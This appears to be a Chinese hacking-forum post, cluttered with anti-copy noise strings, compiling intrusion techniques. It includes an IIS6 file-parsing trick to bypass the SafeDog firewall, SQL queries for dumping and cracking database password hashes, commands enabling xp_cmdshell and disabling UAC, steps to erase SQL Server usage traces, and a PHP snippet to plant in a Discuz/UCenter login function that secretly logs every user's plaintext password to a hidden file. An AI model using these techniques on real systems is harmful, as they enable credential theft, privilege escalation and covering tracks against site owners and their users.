3 K; C. d$ X. A5 O/ ?0 C利用II6文件解析漏洞绕过安全狗代码:. c d* b9 B8 X* E
;antian365.asp;antian365.jpg1 m. x: r: N4 W2 |1 M& [; E' T% q
9 J# h/ X6 A$ J' s3 Q4 w! G+ N1 j
各种类型数据库抓HASH破解最高权限密码!
( F6 x9 O# ?- O$ T. ?) A) V0 W; q1.sql server2000! t& K& t- v. M
SELECT password from master.dbo.sysxlogins where name='sa'! N9 x" Q K0 _* l
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
! b& L1 r3 ]& a* U0 U) _) b2 B9 e2FD54D6119FFF04129A1D72E7C3194F7284A7F3A
. J0 G. b. X. f" }+ t. _/ M+ v- ]* S4 I: j* S& s
0×0100- constant header
( u5 }' d; l% P9 J34767D5C- salt- Q" o8 f1 |& j$ s
0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
3 j; t$ b2 M5 b1 `8 i2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash
1 p9 _* m" ?* r3 G6 q6 vcrack the upper case hash in ‘cain and abel’ and then work the case sentive hash
5 d0 T5 g) _( }! N7 \SQL server 2005:-" I' @ q" P- V$ Y) ~; f9 T: g9 Q7 V
SELECT password_hash FROM sys.sql_logins where name='sa'
7 A4 O" u- u, L0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F
" A- J( h8 H9 O: S8 ?5 Q0×0100- constant header3 F0 Y* R) j0 k
993BF231-salt
% s0 Q7 b0 p. Q% c4 P/ f5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash8 \9 z6 h. K* v8 J, I2 `5 v
crack case sensitive hash in cain, try brute force and dictionary based attacks.
8 m# d/ f& i" K5 M* b3 v' H- i# M2 Q z5 G1 s D; R
update:- following bernardo’s comments:-
# }$ F# H; {1 ?. Wuse function fn_varbintohexstr() to cast password in a hex string.
' M3 L) d9 M. C2 O1 T: m/ Se.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins) p( y) f' Q% ?. K* W
( ?* O! ?5 \3 O& N: v9 m
MYSQL:-
) M7 i' M. E/ d
) c4 C5 ?# }' X3 o* h) c" X4 p4 k7 `In MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.
* X, ^$ e, D. ~, p% ] F4 z" P# F: G
*mysql < 4.1
2 X5 R1 A. p H) w" Y$ j$ X1 j. D1 E+ t: o, e ~
mysql> SELECT PASSWORD(‘mypass’);
- @$ C- _' u! ~0 @3 m+——————–+
2 t% m0 Z. O/ @) e) m| PASSWORD(‘mypass’) |
J3 H, I/ G' O W+——————–+* p& w, o9 w v6 F9 h, `7 |
| 6f8c114b58f2ce9e |# T( a: j) G0 H) t+ V. ?2 T0 T
+——————–+
' d; {/ x! o/ J) f2 Z5 d0 d c2 F3 o/ r1 ~) d; G
*mysql >=4.1
1 k: ?" n& o. |5 B) G+ f1 E6 w
' n2 T4 ~2 ~2 }! kmysql> SELECT PASSWORD(‘mypass’);
6 {: }: F. f9 V2 ^( H7 X0 n+——————————————-+( t B) W8 p/ @5 D5 A+ H# k% y
| PASSWORD(‘mypass’) |* F2 d/ v. c1 d5 X
+——————————————-+
9 s7 ~- F1 d5 j! W% W& [! I* u| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+ Q1 H2 } D) ?; w! m; J* j% c+——————————————-+
, ~( N9 K$ _: B" w" `
8 G- h2 N( z) qSelect user, password from mysql.user; O: |! ?7 H* H3 k1 a3 V1 [
The hashes can be cracked in ‘cain and abel’
" \. i5 b0 V* e5 U# U
B! o' s4 s% B3 RPostgres:-6 K0 S! v6 y$ g2 L4 M+ j
Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)2 i4 E9 y6 s$ M. ]3 p
select usename, passwd from pg_shadow;
7 a7 d: @9 e% |5 susename | passwd
$ a" z) L" `2 E. @——————+————————————-) ^ n: Q h1 G# ~" a: }; G8 [
testuser | md5fabb6d7172aadfda4753bf0507ed43969 j. N1 L% `3 R! Q$ R2 T6 B
use mdcrack to crack these hashes:-4 U: |' G: ]; B |% K
$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396
5 T2 k6 f9 K( r& J# `4 j: I- F# g, K7 M
Oracle:-0 x% ?8 D. v q8 [$ w" w
select name, password, spare4 from sys.user$+ P) s, y _) X& T& O; S
hashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g8 G6 Q- a, D3 Z( P2 C
More on Oracle later, i am a bit bored….
( n' ~# N8 M$ s' G, e
- z* s9 @! ]! j; C- C1 v9 b' H/ n( W$ I& U
在sql server2005/2008中开启xp_cmdshell) l) g, w, b! T/ p) { w
-- To allow advanced options to be changed.7 v4 I% i: P8 _# @
EXEC sp_configure 'show advanced options', 1
7 q9 M0 S6 s9 [; d, AGO- F# ]& U& N1 G" v* P/ o
-- To update the currently configured value for advanced options.4 X: f) F9 j7 d k
RECONFIGURE j4 u' L! z' h7 W
GO
- s( ]: B3 }& ]% `$ ]-- To enable the feature.
" _+ Y" C2 \+ JEXEC sp_configure 'xp_cmdshell', 1
2 f, I1 x5 S* U) P% i3 \" WGO( e; j3 I, _6 v
-- To update the currently configured value for this feature.
' z- u) Z" Z! Q0 ?" WRECONFIGURE
% `- U: e/ |( dGO
/ F( N+ V4 H9 A, e+ @SQL 2008 server日志清除,在清楚前一定要备份。
j0 K* m+ m$ g* Y如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:, Y+ ?# X3 I' z. o' S8 W' k
X:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin
: j. O, y. G0 o6 E$ [$ m; ~
. J1 v! W# P2 v. L2 ^( w对于SQL Server 2008以前的版本:
' {+ J3 k0 | z0 E+ A1 KSQL Server 2005:
* `0 v) U" d! p删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat3 U4 {( }- J& m, K/ h
SQL Server 2000:
1 h1 t, S/ k; b, R' d4 U清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers\相应的内容即可。& R1 _3 ]( a4 ]5 H: n8 Q
+ x! U v+ k4 f8 a" A% O; [( P本帖最后由 simeon 于 2013-1-3 09:51 编辑5 d, i) i2 O+ R# \2 W- a
& h/ L( b* D7 Q$ k3 O
; u0 X w! R7 ]. E! L3 qwindows 2008 文件权限修改
, {% X! _/ D" q& p: X% r1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx
3 F4 R" Y3 \5 k/ K0 I* _' g2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98
/ [2 T5 m! f# p( z6 B7 T6 r# S一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,9 w5 M9 o9 @, }
+ K6 N- X* G/ m, N% ?- W7 c
Windows Registry Editor Version 5.00# |1 f' ]0 d& N: W
[HKEY_CLASSES_ROOT\*\shell\runas]
% |: x/ d I* k/ u@="管理员取得所有权"
" E0 Q/ l) w% I9 c0 y"NoWorkingDirectory"=""# `- \/ H6 B/ y) h
[HKEY_CLASSES_ROOT\*\shell\runas\command]
) c8 { h$ R' a* A+ A8 x5 ]@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
p9 d) f7 i9 b; j"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"! n% ]% w2 F3 j2 e' W
[HKEY_CLASSES_ROOT\exefile\shell\runas2]% m' }" F; Z7 i6 t8 V" @- H" f
@="管理员取得所有权"0 j$ N4 W/ J% o- l- r
"NoWorkingDirectory"=""0 w7 M- q9 `; c4 p3 A
[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]- `# i7 O$ \8 H1 n
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
H3 X& T: C; w6 F& g- m ^3 M# v"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"! h, f' h& i$ L% E
5 o4 l( M! C7 p6 y# J
[HKEY_CLASSES_ROOT\Directory\shell\runas]5 B( Y* W' Y- b b& T. B0 {
@="管理员取得所有权"1 B' L' U# F: D1 H4 x
"NoWorkingDirectory"=""# Y0 Q' h* I" r8 q; o9 l9 B
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
, U4 ~4 ^4 Y( M2 X6 ?@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
4 }. E9 H/ e" j"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
- v- q, j/ L0 j5 W7 k0 [7 S5 n) R8 h$ r! [# T4 d; r+ S* |. O, w; Y
, G7 {: n* F {win7右键“管理员取得所有权”.reg导入
& L" S% S: ?3 |二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,# _8 @7 D: p" Y* z
1、C:\Windows这个路径的“notepad.exe”不需要替换, p: h. f0 `9 s/ v
2、C:\Windows\System32这个路径的“notepad.exe”不需要替换
/ D, Q& N1 p: w8 p3、四个“notepad.exe.mui”不要管
$ ]( I. G; n! Q D4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和* T F+ ]5 p' A7 R& j* |
C:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”
8 n/ R& U1 n. E1 x) m! h替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,
- v2 J4 x6 Y3 \0 h/ Z替换完之后回到桌面,新建一个txt文档打开看看是不是变了。
; ?6 ~% h. N/ n+ E& i7 X o9 nwindows 2008中关闭安全策略:
0 m! t+ ^3 ^' c" t7 o9 yreg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
$ G+ h5 ^( D4 g0 `% E修改uc_client目录下的client.php 在; r& _' T) v0 z2 ?8 H& T3 b
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
- W$ I# B! b. V% r. u下加入如上代码,在网站./data/cache/目录下自动生成csslog.php7 i( u, I6 A! X) E
你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw1 @9 b1 r& F& y, I
if(getenv('HTTP_CLIENT_IP')) {3 m% u7 z' t- I; r( L5 t! w
$onlineip = getenv('HTTP_CLIENT_IP');6 _1 M; G" x0 w" O7 M& h( x
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {* x2 z( N4 a* X% h" b
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
( J( ?1 i$ ?3 M% w! b- B* L. x H$ G} elseif(getenv('REMOTE_ADDR')) {
9 e' z7 `: z8 D1 m: o# ]' a$onlineip = getenv('REMOTE_ADDR'); r9 d5 e O# _+ N: Z- Y
} else {% v+ `& m* a' ^' V9 j$ _! h
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
3 r, E; J( @1 x" e ^}1 m( X6 X6 e! o' s) K
$showtime=date("Y-m-d H:i:s");
4 s( P4 ]. k$ @5 F $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
/ H5 u, ]% N5 R $handle=fopen('./data/cache/csslog.php','a+');6 x0 ]; P4 x8 u% W1 {
$write=fwrite($handle,$record); |